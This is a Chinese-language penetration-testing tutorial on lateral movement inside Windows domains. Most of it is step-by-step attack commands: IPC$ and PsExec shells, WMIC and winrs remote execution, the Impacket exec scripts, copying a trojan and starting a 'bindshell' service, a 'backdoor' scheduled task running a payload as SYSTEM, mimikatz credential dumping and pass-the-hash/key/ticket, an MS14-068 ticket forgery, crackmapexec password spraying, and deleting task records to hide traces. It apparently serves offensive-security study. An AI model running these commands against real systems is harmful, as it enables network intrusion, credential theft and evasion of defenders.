横向移动
#横向移动含义
横向移动是以已经被攻陷的系统为跳板,通过收集跳板机的信息(文档,存储的凭证,ipc连接记录等等信息)来访问其他域内主机。
#常见横向手段
1,通过相同的用户名密码批量ipc连接其他域内主机
2,使用mimikatz丰富密码字典进行爆破
....
横向的前提是已经做好了信息收集,并且知道了域内的其他主机的ip地址以及账号密码等信息。
ipc
共享“命名管道”的资源,为了实现进程间通信而开放的命名管道,可通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。
# ipc功能
通过icp,可以域目标主机建立连接,利用这个连接,不仅可以访问目标机器中的文件,进行文件上传、下载操作,还可以在目标机器上运行其他命令,获取目标机器的目录结构,用户列表等
- 横向方法
1,使用net use查看是否有会话
如图出现以下说明这台主机和别的主机有过ipc连接,可以再次连接,通过猜解用户名密码
2,使用命令进行连接
net use \\192.168.110.143\ipc$ "Aa123456" /user:administrator
3,连接成功后可使用以下命令来获取远程主机信息
# dir
dir \\192.168.110.134\c$ //可列出远程主机中的文件
# tasklist
tasklist /S 192.168.110.134 /U administrator /P Aa123456
- 利用的前提条件
1,主机开启了139 445端口。139和445端口可以实现对共享文件的访问
2,管理员开启了默认共享。默认共享是为了管理员进行远程管理默认开启的,通过ipc可以实现对这些默认共享目录的访问。
3,知道远程主机的用户名和密码(可利用mimikatz导出)
- ipc$连接失败的原因
1,用户名或密码错误
2,目标未打开ipc共享
3,不能连接目标的139 445端口
psexec
psexec 是 windows 下非常好的一款远程命令执行工具,可以在远程计算机上执行命令。psexec的使用不需要对方主机开方3389端口,只需要对方开启admin$共享 (该共享默认开启)。但是,假如目标主机开启了防火墙,psexec也是不能使用的,会提示找不到网络路径。由于PsExec是Windows提供的工具,所以杀毒软件将其列在白名单中。
- 使用psexec的前提
1,对方主机开启了 admin$ 共享
2,对方未开启防火墙
3,知道远程主机的用户名和密码(可利用mimikatz导出)
4,如果是工作组环境,则必须使用administrator用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。
5,如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。
- 横向方法
1.如果建立了ipc连接的情况下,可以直接执行命令,获取system权限的shell
2,如果没用进行ipc连接,可以通过指定账户和密码进行远程连接并获取shell
- 建立ipc连接情况下获取shell
PsExec.exe -accepteula \\192.168.183.130 -s cmd.exe //-s 以system权限运行远程连接,获取一个system权限的交互式shell,如果不用-s会弹出administro的shell
- 建立ipc连接情况下获取shell
PsExec.exe -accepteula -u Administrator -p Aa123456 \\192.168.183.130 -s cmd.exe
wmic
WMIC 是 Windows Management Instrumentation (WMI) 的命令行实用工具,用于管理和操作 Windows 系统。WMIC 可以通过命令行界面执行各种系统管理任务,包括查询系统信息、操控硬件资源、管理软件安装、调整网络设置等
# wmic优点
1,windows操作系统默认不会把wmi的操作记录在日志中,因为这个过程不会产生日志,所以对网络管理员来说增加了攻击溯源成本
- 利用的前提条件
1,使用WMIC连接远程主机,需要目标主机开放135和445端口。(135 端⼝是 WMIC 默认的管理端⼝,而 wimcexec 使⽤445端⼝传回显)
2,知道远程主机的用户名和密码(可利用mimikatz导出)
3,wmic命令没有回显,需要使用ipc$和type命令来读取信息
- 横向方法
1,可通过wmic以administrator连接到主机,创建一个进程执行ipconfig将命令写入到1.txt中,使用ipc连接type命令查看1.txt文件内容
2,查询远程主机进程信息
- 创建进程执行命令
创建进程:
wmic /node:192.168.110.134 /user:administrator /password:Liu78963 process call create "cmd.exe /c ipconfig > C:\1.txt"
ipc连接type查看1.txt
type \\192.168.52.138\c$\result.txt
- 查询远程主机进程信息
wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process list brief
sc
在windows系统命令提示符中,有一个SC工具命令集。该工具集主要用来对操作系统服务进行管理,该命令是由service一词,简化而来的。我们可以用sc对目标主机远程创建服务来进行横向渗透
- 利用的前提条件
1.建立了ipc连接
- 横向方法
1,先建立ipc连接,使用copy操作将木马复制到目标主机
2,使用sc创建一个启动程序的服务
3,立即启动服务
4,删除创建的服务
5,关闭防火墙
- 建立连接,复制木马
copy 1.bat \\192.168.110.134\c$
- sc创建服务
sc \\[主机名/IP] create [servicename] binpath= "[path]" #创建计划任务启动程序 等号后面要有一个空格,不然会报错
eg:
sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
- 立即启动创建的服务
sc \\WIN-ENS2VR5TR3N start bindshell //如果一直报错,尝试以管理员身份运行cmd
winrm
WinRM 作为 Windows 操作系统的一部分,是一项允许管理员在系统上远程执行管理任务的服务。
- 使用前提
1,操作系统要求:WinRM 是 Windows 操作系统内置的远程管理协议,所以需要在 Windows 操作系统上才能使用。支持 WinRM 的 Windows 操作系统版本包括 Windows Vista 及更高版本。
2,远程访问权限:运行 WinRM 命令的用户需要在目标主机上拥有管理员或相应的远程访问权限。通常需要在目标主机上启用 WinRM 服务,并配置相应的防火墙规则。
3,协议支持:WinRM 基于 Web Services Management (WS-Management) 协议,需要目标主机上启用 WinRM 相关的 Windows 功能。默认情况下,WinRM 服务通过 HTTP 端口 5985 和 HTTPS 端口 5986 进行通信。
4,身份验证:WinRM 支持多种身份验证方式,如基本身份验证、Kerberos 身份验证、证书身份验证等。需要确保目标主机上已经正确配置了相应的身份验证方式。
- 客户端安装winrm
1,先启用winrm服务
winrm quickconfig
2,查看winrm配置
winrm get winrm/config
- 横向方法
1,使用winrs去访问运行winrm的远程服务器,并且执行命令
//winrs Windows 的远程 Shell,它相当于 WinRM 的客户端,使用它可以访问运行有 WinRM 的服务器,不过自己也得装上 WinRM 才能运行 WinRS
2,使用winrs去访问运行winrm的远程服务器,并且获取shell
- 执行命令
winrs -r:[ip] -u:[username] -p:[password] <command>
eg:
winrs -r:http://192.168.93.30:5985 -u:administrator -p:Whoami2021 whoami
//5985是winrm对应服务的http默认端口,https默认端口为5986
- 如果有报错
如果出现以下报错,运行命令
winrm set winrm/config/Client @{TrustedHosts="*"}
- 获取shell
winrs -r:http://192.168.110.134:5985 -u:administrator -p:Aa123456 cmd
impacket包
Impacket是用于处理网络协议的Python类的集合。Impacket专注于提供对数据包的简单编程访问,以及协议实现本身的某些协议(例如SMB1-3和MSRPC)。数据包可以从头开始构建,也可以从原始数据中解析,而面向对象的API使处理协议的深层次结构变得简单。该库提供了一组工具,作为在此库找到可以执行的操作的示例。
下载地址:https://github.com/fortra/impacket
下载后脚本位置在impacket\impacket-master\examples下
不知道脚本的用法统一使用python 脚本名.py
例如atexec.py 使用python atexec.py之后会有各种参数以及脚本的使用方法
- impacket包使用
1,先安装setuptools
pip install setuptools
2,安装包中脚本需要的库
python setup.py install
- 横向方法
psexec.py:微软工具psexec的python版本,支持了hash横向,通过windows服务进行横向移动。
smbexec.py:类似于psexe的自定义版,其修改了psexec自动安装服务器到Admin$下的特点,smbexec通过手动安装服务器文件到自定义的位置。
atexec:利用远程计划任务进行命令执行并获取结果。
wmiexec.py:利用wmi组件,通过135端口上的RPC进行横向移动。
dcomexec.py:利用windows提供的DCOM接口进行横向移动,目前支持MMC20.Application,ShellWindows和ShellBrowserWindow对象。
psexec.py
- 使用前提
1,开放135 139 445端口
2,知道远程主机的用户名和密码
3,管理员权限: 要求运行 psexec.py 的用户拥有目标系统的管理员权限。这是因为 psexec.py 需要在远程系统上执行命令,而这需要提升的权限。
4,目标系统开启远程过程调用(DCOM): 目标系统需要开启远程过程调用(DCOM)服务,否则 psexec.py 将无法与之进行通信。可以在目标系统的"服务"中查看并确保该服务运行。
5,目标系统防火墙允许访问
6,目标系统操作系统支持: psexec.py 支持在Windows系统上运行,包括Windows XP、Windows 7、Windows 8/8.1、Windows 10等常见的Windows操作系统。
# 常用参数
-port [destination port] 指定目标SMB的端口
-codec codec 目标回显的编码,可先执行chcp.com拿到回显编码
-service-name service_name 指定创建服务的名称,默认随机
-remote-binary-name remote_binary_name 指定上传文件的名称,默认随机
- 横向方法
1、连接远程计算机的admin$共享,获取shell
2,进行命令执行
- 获取shell
./psexec.py 域名/用户名:密码@远程主机ip号
eg:python psexec.py cx/Administrator:Aa123456@192.168.1.140
smbexec.py
- 使用前提
1,知道远程主机的具有管理员权限的用户名密码,或者密码hash值
2,远程主机开放了admin$、ipc$、c$、d$其中一个共享
3,开放135 139 445端口
4,目标系统开启SMB服务: 目标系统需要开启SMB服务,smbexec.py 会通过SMB协议与目标系统进行通信。
#功能
它可以列出共享和文件,重命名某些文件,上传二进制文件或从目标计算机下载文件。
- 横向方法
1,使用smb.py通过获取的密码值或hash值来连接远程主机,获取shell
- 获取shell
使用方法:
python smb.py 域名/远程主机用户名:远程主机密码@远程主机ip
eg:
python smbexec.py cx/Administrator:Aa1234567@192.168.110.134
atexec.py
- 使用前提
1,知道远程主机具有管理员权限用户的密码或hash,或者有kerberos认证(aeskeys值)
2,目标系统支持AT命令: 目标系统需要支持AT命令,用于计划执行远程任务。Windows从Windows XP开始一直支持AT命令。
3,目标系统防火墙允许访问: 目标系统的防火墙需要允许访问 atexec.py 连接所需的端口,通常是135、139和445端口。
- 横向方法
1,使用atexec.py直接命令执行
- 命令执行
使用方法:
python atexec.py 域名/远程主机用户名:远程主机密码@远程主机ip 需要执行的命令
python atexec.py cx/Administrator:@caixia1314520@192.168.110.134 ipconfig
wmiexec.py
- 使用前提
1,目标系统开启WMI服务: 目标系统需要开启Windows管理规范接口(WMI)服务,wmiexec.py 会通过WMI与目标系统进行通信。
2,目标系统用户账号: 需要提供一个在目标系统上具有管理员权限的用户账号和密码,以便 wmiexec.py 能够成功登录并执行命令。
3,目标系统防火墙允许访问: 目标系统的防火墙需要允许访问 wmiexec.py 连接所需的端口,通常是135、139和445端口。
- 横向方法
1,运行wmiexec.py获取shell
- 获取shell
python wmiexec.py 域名/远程主机用户名:远程主机密码@远程主机ip
dcomexec.py
- 使用前提
1,目标系统开启DCOM服务: 目标系统需要开启分布式组件对象模型(DCOM)服务,dcomexec.py 会通过DCOM与目标系统进行通信。
2,目标系统用户账号: 需要提供一个在目标系统上具有管理员权限的用户账号和密码,以便 dcomexec.py 能够成功登录并执行命令。
3,目标系统防火墙允许访问: 目标系统的防火墙需要允许访问 dcomexec.py 连接所需的端口,通常是135、139和445端口。
4,管理权限: 运行 dcomexec.py 的用户需要拥有管理员或相当权限,以便能够在远程系统上执行命令。
5,目标系统支持DCOM: dcomexec.py 主要针对Windows系统,需要确保目标系统支持DCOM,通常从Windows 2000开始就支持。
6,选择合适的DCOM对象: dcomexec.py 需要指定要利用的DCOM对象,不同的对象会有不同的功能和权限,需要选择合适的对象。
- 横向方法
python dcomexec.py 域名/域管理员用户名:@密码@远程主机ip
python dcomexec.py cx/Administrator:@caixia1314520@192.168.110.134
计划任务
# 计划任务功能
可以通过跳板机在目标主机创建计划任务,在计算机在指定的时间内执行木马程序,从而获得对内网目标主机的控制
at
- 使用at的前提和流程
#使用at的前提
1,使用at主要作用于winserver 2008之前的版本
2,建立了ipc连接
# at创建计划任务流程
1,使用net time确定当前系统时间(为了计划任务在指定的时间内运行,需要知道现在的时间)
2,使用copy命令将payload文件复制到远程目标机器中
3,使用at命令定时启动该payload文件
4,删除使用at命令创建计划任务的记录
- 查看系统时间
net time \\192.168.110.134
- 将文件复制到远程目标机器中
copy 1.bat \\192.168.110.134\c$
- 使用at定时启动该文件
at \\192.168.110.134 18:53:00 1.bat
- 将at记录删除
at \\192.168.183.130 1 /delete // 1为计划任务的ID
schtasks
- 使用schtasks的前提和流程
# 使用schtasks的前提
1,windowserver2008之后的系统
2,建立了ipc连接
# schtasks使用流程
1. 先与目标主机建立ipc连接
2. 然后使用copy命令远程操作,将metasploit生成的payload文件shell.exe复制到目标系统C盘中。
3. 在目标主机DC上创建一个名称为“backdoor”的计划任务。该计划任务每分钟启动一次,启动程序为我们之前到C盘下的shell.exe(shell.exe可以换成calc内容的1.bat文件,这样更好看到效果),启动权限为system。
4,删除计划任务痕迹
- 创建一个计划任务
schtasks /create /s 192.168.110.134 /u administrator /p Liu78963 /tn backdoor /sc minute /mo 1 /tr c:\shell.exe /ru system /f
- 忽略任何限制立即运行任务
schtasks /run /s 192.168.110.134 /i /tn backdoor /u administrator /p Liu78963
// i:忽略任何限制立即运行任务
- 可看到目标机器已运行计算机
- 删除计划任务痕迹
schtasks /delete /s 192.168.110.134 /tn "backdoor" /u administrator /p Liu78963 /f
- 删除ipc$
net use \\192.168.110.134\ipc$ /del /y
hash传递
pth(通过NTLM)
pass the hash(hash传递攻击,简称 PTH),在域环境中,用户登录计算机时一般使用域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也相同,攻击者就能使用哈希传递攻击的方法来登录内网中的其他主机。使用该方法,攻击者不需要花费时间来对Hash进行爆破,在内网渗透里非常经典。常常适用于域/工作组环境。
总结:使用相同的账号密码去逐个试探登录内网其他主机
PTH 攻击的优点:
1.在目标主机中我们通常很难获取到明文密码,而使用 hash,无需明文密码即可正常登录。
PTH 攻击利用条件:
被 pth 攻击的计算机未打补丁(KB2871997)
拿到一台域成员主机并且拿到管理员组的域用户的 NTML
对方主机存在相同账号并且是管理员组成员
- 横向方法
1,使用mimikatz获得管理员权限并抓取域管理员hash值
2,将抓取到的hash值添加到lsass中去,并使用mimikatz进行pth攻击
- 提权并获取ntml值
privilege::debug
sekurlsa::logonpasswords
- 将抓取到的hash值添加到lsass中去,并使用mimikatz进行pth攻击
privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:b8076aee855c079e331af957e503e52
- 会弹窗远程域控主机的cmd的窗口
- 列出域控制器的c盘目录(要使用主机名,不能用IP,否则报错)
ptk(通过kerberos密钥)
pass the key (密钥传递攻击,简称 PTK)是在域中攻击 kerberos 认证的一种方式,原理是通过获取用户的aes,通过 kerberos 认证,可在NTLM认证被禁止的情况下用来实现类似pth的功能
ptk利用条件:
1,安装了KB2871997补丁(安装补丁后pth除非是管理员(sid为500使用whoami/user)权限,否则无效,并且安装补丁后无法通过本地管理员权限对远程计算机使用psexec wmi smbexec schtasks at,也无法访问远程主机的文件共享等)
2,系统版本大于windows server 2012
- 获取aes256值(或者aes128也可以)
sekurlsa::ekeys
- 使用以下命令,获取管理员cmd
sekurlsa::pth /user:用户名 /domain:域名 /aes256:aes256 值
ptt(通过票据)
ptt是指攻击者从一台计算机上窃取 Kerberos 票证,并重新使用它来访问受感染环境中的另一台计算机。
ptt 和 pth 之间的一个主要区别是 Kerberos TGT ticket 会过期(默认为10小时),而 NTLM hashes 只有在用户改变密码时才会改变。因此,TGT 票必须在其有效期内使用,或者可以续期更长的时间(7天),并且ptt不需要管理员权限,pth需要管理员权限
- 横向方法
1,查看当前用户userid
2,使用mimikatz清除所有票据
4,生成新的票据
3,将票据文件注入内存
- 查看当前用户userid
whoami/user
- 清除所有的票据
mimikatz # kerberos::purge
-
使用ms14-068生成新的票据
MS14-068 是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其 Kerberos 票证(TGT)中插入任意的 PAC(表示所有用户权限的结构)。该漏洞位于 kdcsvc.dll 域控制器的密钥分发中心(KDC)中。普通用户可以通过呈现具有改变了 PAC 的 Kerberos TGT 来获得票证,进而伪造票据获得管理员权限。 MS14-068 利用工具下载地址: https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
- 使用mimimkatz将票据注入内存
kerberos::ptc 票据名
- 将高权限的票据文件注入后,可列出远程计算机文件目录
crackmapexec工具使用
crackmapexec工具支持smb和winrm等协议执行命令、枚举域信息、密码攻击以及检测安全漏洞。
kali自带的工具,支持以下协议
smb
smb连接执行命令
-x:调用cmd
# 使用明文执行命令
crackmapexec smb 192.168.216.144 -u 'administrator' -p 'pass1234!' -x 'whoami'
# 使用hash值执行命令(ntml)
crackmapexec smb 192.168.216.144 -u 'administrator' -H 'aad3b435b51404eeaad3b435b51404ee:ff1a0a31d936bc8bf8b1ffc5b244b356' -x 'whoami'
- smb常用枚举功能
crackmapexec smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --groups 枚举域组
crackmapexec smb 192.168.1.0/24 --gen-relay-list relaylistOutputFilename.txt 枚举不需要smb签名的主机
crackmapexec smb <ip> -u user -p pass -M enum_av 枚举主机上的杀软
crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --shares 列出共享
crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --sessions 枚举有效sessions
crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --disks 列出磁盘
crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --loggedon-users 枚举登录用户
crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --users 枚举域用户
crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --rid-brute 通过爆破RID枚举用户
crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --pass-pol 获取域密码策略
crackmapexec smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --local-auth 验证本地用户,并且测试登录
- 密码喷洒
crackmapexec smb 192.168.1.101 -u user1 user2 user3 -p Summer18 多个用户,一个密码进行喷晒
crackmapexec smb 192.168.1.101 -u /path/to/users.txt -p Summer18 使用users.txt 用户列表文件指定多用户喷晒
crackmapexec smb 192.168.1.101 -u Administrator -p /path/to/passwords.txt 爆破administrator用户密码
winrm
winrm连接执行命令
crackmapexec wimri 192.168.216.144 -u 'administrator' -p 'pass1234!' -x 'whoami'